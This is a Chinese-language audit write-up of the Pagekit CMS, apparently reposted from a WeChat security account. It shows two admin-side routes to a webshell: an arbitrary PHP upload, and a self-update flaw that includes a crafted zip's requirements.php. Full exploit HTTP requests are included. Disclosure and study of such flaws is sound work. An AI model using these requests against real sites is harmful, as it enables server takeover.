项目地址:
https://github.com/pagekit/pagekit
Pagekit 是一个轻量级的模块化 CMS 系统,使用 Symfony 框架构建。
后台任意文件上传漏洞路径:
app/system/modules/finder/src/Controller/FinderController.php
//148 – 185行
此处存在过滤 但是后台只需简单配置即可上传任意php文件
设置并保存 。
任意位置即可上传php文件
成功上传 此处上传所在目录为:
/storage/上传文件名
此处上传的路径为
http://localhost /storage/PassWaf_3.php
Antsword链接成功
后台逻辑缺陷导致GetShell:
漏洞路径
app/installer/src/Controller/UpdateController.php
32-72行 downloadAction与updateAction函数
app/installer/src/SelfUpdater.php
此处可以看到 对远程拉取的文件中的
app/installer/requirements.php
进行包含,由此构造zip文件如下
POST
/index.php/admin/system/update/download HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:
gzip, deflate
Accept-Language:
zh-CN,zh;q=0.9
Connection:
keep-alive
Content-Length: 58
Content-Type:
application/x-www-form-urlencoded
Cookie:
admin_mojavi=vn4tg0umd7hd63kfl1p44e61td; PHPSESSID=i0fqqm5k71s9mq98q5n5ou3sad;
DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=fe2a1e4a49da402d;
DedeLoginTime=1692351480;
DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c7d09a9eb920d2c4; pagekit_session=55jlv45mm08d9n4kbs8i6jud1n;
pagekit_auth=IsjDDxkm1%2FKFr6QsRuCTyWTKubgoaZWFQVTUpdIuqNlSXNqszKJ01BP6yEOn0E3i
Host:
Referer: http://localhost/index.php/admin/system/update/download
User-Agent:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/115.0.0.0 Safari/537.36
url=app.zip&_csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2
Payload:
POST
/index.php/admin/system/update/update HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:
gzip, deflate
Accept-Language:
zh-CN,zh;q=0.9
Cache-Control:
max-age=0
Connection:
keep-alive
Content-Length: 46
Content-Type:
application/x-www-form-urlencoded
Cookie:
admin_mojavi=vn4tg0umd7hd63kfl1p44e61td; PHPSESSID=i0fqqm5k71s9mq98q5n5ou3sad;
DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=fe2a1e4a49da402d;
DedeLoginTime=1692351480;
DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c7d09a9eb920d2c4; pagekit_session=55jlv45mm08d9n4kbs8i6jud1n;
pagekit_auth=IsjDDxkm1%2FKFr6QsRuCTyWTKubgoaZWFQVTUpdIuqNlSXNqszKJ01BP6yEOn0E3i
Host: localhost
Referer: http://localhost
/index.php/admin/system/update/update
User-Agent:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/115.0.0.0 Safari/537.36
_csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2
发送成功,看看包含的文件执行没有
发现文件成功执行并生成shell.php
原文始发于微信公众号(flower安全):Pagekit Cms审计报告
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论